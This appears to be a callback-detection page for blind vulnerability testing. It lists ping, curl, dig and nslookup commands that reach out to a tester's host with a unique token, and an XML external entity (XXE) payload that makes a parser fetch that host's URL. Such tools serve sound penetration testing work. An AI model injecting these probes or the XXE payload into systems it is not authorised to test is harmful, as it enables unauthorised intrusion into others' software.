$ ping -c1 -p 0019a4d96f87ff981fa2ca5647f1c800 unhack.ca
 
$ curl http://unhack.ca/p/19a4d96f87ff981fa2ca5647f1c8
 
$ dig 19a4d96f87ff981fa2ca5647f1c8 @unhack.ca
 
$ dig 19a4d96f87ff981fa2ca5647f1c8.ns.unhack.ca
 
C:\> nslookup 19a4d96f87ff981fa2ca5647f1c8 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/19a4d96f87ff981fa2ca5647f1c8">]>
    <foo>&xxe;</foo>
Waiting for ping...